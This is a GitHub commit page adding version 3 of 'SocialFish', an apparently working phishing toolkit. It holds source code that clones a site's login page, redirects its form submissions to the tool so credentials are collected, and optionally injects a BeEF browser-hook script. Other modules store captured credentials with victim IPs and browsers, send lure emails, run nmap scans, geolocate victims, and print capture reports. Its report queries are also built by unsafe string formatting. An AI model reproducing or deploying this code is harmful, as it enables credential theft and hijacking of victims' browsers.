Skip to content

Commit 92e3d21

Browse files
committed
V3 Released
1 parent 7b3b13a commit 92e3d21

File tree

143 files changed

+28892
-0
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

143 files changed

+28892
-0
lines changed

SocialFish.py

Lines changed: 539 additions & 0 deletions
Large diffs are not rendered by default.

__init__.py

Whitespace-only changes.

core/SOCIALFISH_transparent.png

152 KB
Loading
306 Bytes
Binary file not shown.
951 Bytes
Binary file not shown.
432 Bytes
Binary file not shown.

core/__pycache__/dbsf.cpython-36.pyc

3.33 KB
Binary file not shown.
614 Bytes
Binary file not shown.
656 Bytes
Binary file not shown.
3.32 KB
Binary file not shown.
741 Bytes
Binary file not shown.
721 Bytes
Binary file not shown.
505 Bytes
Binary file not shown.

core/__pycache__/view.cpython-36.pyc

1.78 KB
Binary file not shown.

core/cleanFake.py

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,7 @@
1+
import shutil
2+
3+
def cleanFake():
4+
try:
5+
shutil.rmtree('templates/fake')
6+
except:
7+
pass

core/clonesf.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
import requests
2+
import re
3+
import os
4+
5+
# CLONING FUNCTIONS --------------------------------------------------------------------------------------------
6+
def clone(url, user_agent, beef):
7+
try:
8+
u = url.replace('://', '-')
9+
q = 'templates/fake/{}/{}'.format(user_agent, u)
10+
os.makedirs(q, exist_ok=True)
11+
temp_ind_path = 'templates/fake/{}/{}/index.html'.format(user_agent, u)
12+
headers = {'User-Agent': user_agent}
13+
r = requests.get(url, headers=headers)
14+
html = r.text
15+
old_regular = re.findall(r'action="([^ >"]*)"',html)
16+
new_regular = '/login'
17+
for r in old_regular:
18+
print(r)
19+
html = html.replace(r, new_regular)
20+
if beef == 'yes':
21+
inject = '<script src=":3000/hook.js" type="text/javascript"></script></body>'
22+
html = html.replace("</body>", inject)
23+
new_html = open(temp_ind_path, 'w')
24+
new_html.write(html.encode('ascii', 'ignore').decode('ascii'))
25+
new_html.close()
26+
except:
27+
pass
28+
#--------------------------------------------------------------------------------------------------------------------

core/config.py

Lines changed: 12 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,12 @@
1+
# COMPRESS APP --------------------------------------------------------------------------------------------------
2+
COMPRESS_MIMETYPES = ['text/html', 'text/css', 'text/xml', 'application/json', 'application/javascript']
3+
COMPRESS_LEVEL = 6
4+
COMPRESS_MIN_SIZE = 500
5+
# ---------------------------------------------------------------------------------------------------------------
6+
# LOCAL CONFIGS--------------------------------------------------------------------------------------------------
7+
DATABASE = "./database.db"
8+
url = 'https://github.com/UndeadSec/SocialFish'
9+
red = 'https://github.com/UndeadSec/SocialFish'
10+
sta = 'x'
11+
APP_SECRET_KEY = '<CHANGE ME SF>'
12+
# ---------------------------------------------------------------------------------------------------------------

core/dbsf.py

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
import os
2+
import sqlite3
3+
from core.genToken import genToken, genQRCode
4+
5+
def initDB(DATABASE):
6+
if not os.path.exists(DATABASE):
7+
conn = sqlite3.connect(DATABASE)
8+
cur = conn.cursor()
9+
create_table_sql = """ CREATE TABLE IF NOT EXISTS creds (
10+
id integer PRIMARY KEY,
11+
url text NOT NULL,
12+
jdoc text,
13+
pdate numeric,
14+
browser text,
15+
bversion text,
16+
platform text,
17+
rip text
18+
); """
19+
cur.execute(create_table_sql)
20+
conn.commit()
21+
create_table_sql2 = """ CREATE TABLE IF NOT EXISTS socialfish (
22+
id integer PRIMARY KEY,
23+
clicks integer,
24+
attacks integer,
25+
token text
26+
); """
27+
cur.execute(create_table_sql2)
28+
conn.commit()
29+
sql = ''' INSERT INTO socialfish(id,clicks,attacks,token)
30+
VALUES(?,?,?,?) '''
31+
i = 1
32+
c = 0
33+
a = 0
34+
t = genToken()
35+
data = (i, c, a, t)
36+
cur.execute(sql,data)
37+
conn.commit()
38+
create_table_sql3 = """ CREATE TABLE IF NOT EXISTS sfmail (
39+
id integer PRIMARY KEY,
40+
email VARCHAR,
41+
smtp text,
42+
port text
43+
); """
44+
cur.execute(create_table_sql3)
45+
conn.commit()
46+
sql = ''' INSERT INTO sfmail(id,email,smtp,port)
47+
VALUES(?,?,?,?) '''
48+
i = 1
49+
e = ""
50+
s = ""
51+
p = ""
52+
data = (i, e, s, p)
53+
cur.execute(sql,data)
54+
conn.commit()
55+
create_table_sql4 = """ CREATE TABLE IF NOT EXISTS professionals (
56+
id integer PRIMARY KEY,
57+
email VARCHAR,
58+
name text,
59+
obs text
60+
); """
61+
cur.execute(create_table_sql4)
62+
conn.commit()
63+
create_table_sql5 = """ CREATE TABLE IF NOT EXISTS companies (
64+
id integer PRIMARY KEY,
65+
email VARCHAR,
66+
name text,
67+
phone text,
68+
address text,
69+
site text
70+
); """
71+
cur.execute(create_table_sql5)
72+
conn.commit()
73+
conn.close()
74+
genQRCode()

core/genReport.py

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
import sqlite3
2+
3+
def genReport(DATABASE, subject, user, company, date_range, target):
4+
conn = sqlite3.connect(DATABASE)
5+
cur = conn.cursor()
6+
date_range = date_range.replace(' ', '')
7+
date_range = date_range.replace('/','-')
8+
date_range = date_range.split('_')
9+
date_start = date_range[0]
10+
date_end = date_range[1]
11+
sql = '''Select * from creds where pdate between '{}' and '{}' '''.format(date_start, date_end)
12+
results = cur.execute(sql).fetchall()
13+
print(results)

core/genToken.py

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import secrets
2+
import qrcode.image.svg
3+
import qrcode
4+
import os
5+
6+
def genToken():
7+
return ''.join(secrets.token_urlsafe(16))
8+
9+
def genQRCode():
10+
qr = 'templates/static/token/qrcode.svg'
11+
if not os.path.exists(qr):
12+
factory = qrcode.image.svg.SvgImage
13+
img = qrcode.make(genToken(), image_factory=factory)
14+
img.save(qr)
15+
else:
16+
os.remove(qr)

core/report.py

Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,111 @@
1+
import os
2+
from pylatex import Document, PageStyle, Head, Foot, MiniPage, \
3+
StandAloneGraphic, MultiColumn, Tabu, LongTabu, LargeText, MediumText, \
4+
LineBreak, NewPage, Tabularx, TextColor, simple_page_number, Command
5+
from pylatex.utils import bold, NoEscape
6+
from sqlite3 import connect
7+
from ast import literal_eval
8+
from time import strftime
9+
from webbrowser import open_new
10+
11+
def generate_report(DATABASE, cpm):
12+
13+
conex = connect(DATABASE)
14+
cursor = conex.cursor()
15+
list_urls = []
16+
17+
for urls in cursor.execute('SELECT DISTINCT url FROM creds'): list_urls += urls
18+
_cURL = cpm
19+
choose_url = 'http' if _cURL == 'All' else _cURL
20+
result_query = []
21+
for row in cursor.execute('SELECT * FROM creds WHERE url GLOB "*{}*"'.format(choose_url)):
22+
result_query += row
23+
24+
result_count = cursor.execute('SELECT COUNT(*) FROM creds WHERE url GLOB "*{}*"'.format(choose_url)).fetchone()
25+
26+
return result_query, result_count
27+
28+
def generate_unique(DATABASE,cpm):
29+
geometry_options = {
30+
"head": "60pt",
31+
"margin": "0.5in",
32+
"bottom": "0.6in",
33+
"includeheadfoot": True
34+
}
35+
doc = Document(geometry_options=geometry_options)
36+
37+
first_page = PageStyle("firstpage")
38+
39+
with first_page.create(Head("L")) as header_left:
40+
with header_left.create(MiniPage(width=NoEscape(r"0.49\textwidth"),
41+
pos='c', align='L')) as logo_wrapper:
42+
logo_file = os.path.join(os.path.dirname(__file__),
43+
'SOCIALFISH_transparent.png')
44+
logo_wrapper.append(StandAloneGraphic(image_options="width=120px",
45+
filename=logo_file))
46+
47+
with first_page.create(Head("R")) as header_right:
48+
with header_right.create(MiniPage(width=NoEscape(r'0.49\textwidth'),
49+
pos='c', align='r')) as wrapper_right:
50+
wrapper_right.append(LargeText(bold('SOCIALFISH')))
51+
wrapper_right.append(LineBreak())
52+
wrapper_right.append(MediumText(bold('UNDEADSEC')))
53+
wrapper_right.append(LineBreak())
54+
wrapper_right.append(NoEscape(r'\today'))
55+
56+
with first_page.create(Head('C')) as header_center:
57+
header_center.append('CAPTURE REPORT')
58+
59+
with first_page.create(Foot("C")) as footer:
60+
message = "Important message please read"
61+
62+
doc.preamble.append(first_page)
63+
64+
with doc.create(Tabu("X[l] X[r]")) as first_page_table:
65+
customer = MiniPage(width=NoEscape(r"0.49\textwidth"), pos='h')
66+
67+
branch = MiniPage(width=NoEscape(r"0.49\textwidth"), pos='t!',
68+
align='r')
69+
70+
first_page_table.add_row([customer, branch])
71+
first_page_table.add_empty_row()
72+
73+
doc.change_document_style("firstpage")
74+
doc.add_color(name="lightgray", model="gray", description="0.80")
75+
76+
with doc.create(LongTabu("X[15l]",
77+
row_height=1.8)) as data_table:
78+
data_table.add_row(["Organization\nCapture IP\nBrowser\nLog\n"],
79+
mapper=bold,
80+
color="lightgray")
81+
data_table.add_empty_row()
82+
data_table.add_hline()
83+
84+
result_query, result_count = generate_report(DATABASE,cpm)
85+
x = 0
86+
87+
for i in range(result_count[0]):
88+
89+
url = result_query[1+x].split('//')[1]
90+
ip = result_query[7+x]
91+
log_dict = literal_eval(result_query[2+x])
92+
93+
if 'skstamp' in log_dict.keys():
94+
rm_trash = log_dict.pop('skstamp')
95+
elif 'utf8' in log_dict.keys():
96+
rm_trash = log_dict.pop('utf8')
97+
98+
browser = result_query[4+x] + ' v' + result_query[5+x]
99+
x = 8*(i+1)
100+
101+
row_tex = [url+'\n'+ip+'\n'+browser+'\n'+str(log_dict)+'\n']
102+
103+
if (i % 2) == 0:
104+
data_table.add_row(row_tex, color="lightgray")
105+
else:
106+
data_table.add_row(row_tex)
107+
108+
doc.append(NewPage())
109+
pdf_name = 'Report{}'.format(strftime('-%y%m'))
110+
doc.generate_pdf(pdf_name, clean_tex=False)
111+
open_new(os.getcwd()+'/'+pdf_name+'.pdf')

core/scansf.py

Lines changed: 28 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,28 @@
1+
import nmap
2+
import requests
3+
4+
def nScan(ip):
5+
nm = nmap.PortScanner()
6+
nm.scan(ip, arguments="-F")
7+
for host in nm.all_hosts():
8+
ports = []
9+
protocols = []
10+
states = []
11+
for proto in nm[host].all_protocols():
12+
protocols.append(proto)
13+
lport = nm[host][proto].keys()
14+
for port in lport:
15+
ports.append(port)
16+
states.append(nm[host][proto][port]['state'])
17+
18+
po = []
19+
for p in ports:
20+
n = {
21+
"Port": str(p),
22+
"Name": nm[host][proto][p]['name'],
23+
"Reason": nm[host][proto][p]['reason'],
24+
"State": nm[host][proto][p]['state']
25+
}
26+
po.append(n)
27+
28+
return po

core/sendMail.py

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
import smtplib
2+
from email.mime.multipart import MIMEMultipart
3+
from email.mime.text import MIMEText
4+
5+
def sendMail(subject, email, password, recipient, body, smtp, port):
6+
msg = MIMEMultipart()
7+
msg['From'] = email
8+
msg['To'] = recipient
9+
msg['Subject'] = subject
10+
11+
msg.attach(MIMEText(body, 'plain'))
12+
13+
try:
14+
server = smtplib.SMTP(smtp, int(port))
15+
server.starttls()
16+
server.login(email, password)
17+
text = msg.as_string()
18+
server.sendmail(email, recipient, text)
19+
server.quit()
20+
return 'ok'
21+
except Exception as err:
22+
pass
23+
return err

core/tracegeoIp.py

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
import requests
2+
3+
# trace GEO IP -------------------------------------------------------------------------------------------------
4+
5+
def tracegeoIp(ip):
6+
try:
7+
if '127.0.0.1' == ip:
8+
ip = 'https://geoip-db.com/json/'
9+
else:
10+
ip = 'https://geoip-db.com/jsonp/' + ip
11+
result = requests.get(ip).json()
12+
except Exception as e:
13+
print(e)
14+
result = "Error. Verify your network connection."
15+
return result
16+
# --------------------------------------------------------------------------------------------------------------

core/view.py

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
import colorama
2+
3+
def head():
4+
print(colorama.Style.BRIGHT)
5+
print(colorama.Fore.CYAN + '''
6+
'
7+
' ' UNDEADSEC | t.me/UndeadSec
8+
' ' youtube.com/c/UndeadSec - BRAZIL
9+
. ' . ' '
10+
' ' ' ' '
11+
███████ ████████ ███████ ██ ███████ ██ ███████ ██ ███████ ██ ██
12+
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
13+
███████ ██ ██ ██ ██ ███████ ██ █████ ██ ███████ ███████
14+
██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██
15+
███████ ████████ ███████ ██ ██ ██ ███████ ██ ██ ███████ ██ ██
16+
. ' '....' ..'. ' .
17+
' . . ' ' ' v3.0Nepture
18+
' . . . . . '. .' ' .
19+
' ' '. ' Twitter: https://twitter.com/A1S0N_
20+
' ' ' Site: https://www.undeadsec.com
21+
' . '
22+
''')
23+
print(colorama.Fore.GREEN + 'Go to http://0.0.0.0:5000/neptune to start')

0 commit comments

Comments
 (0)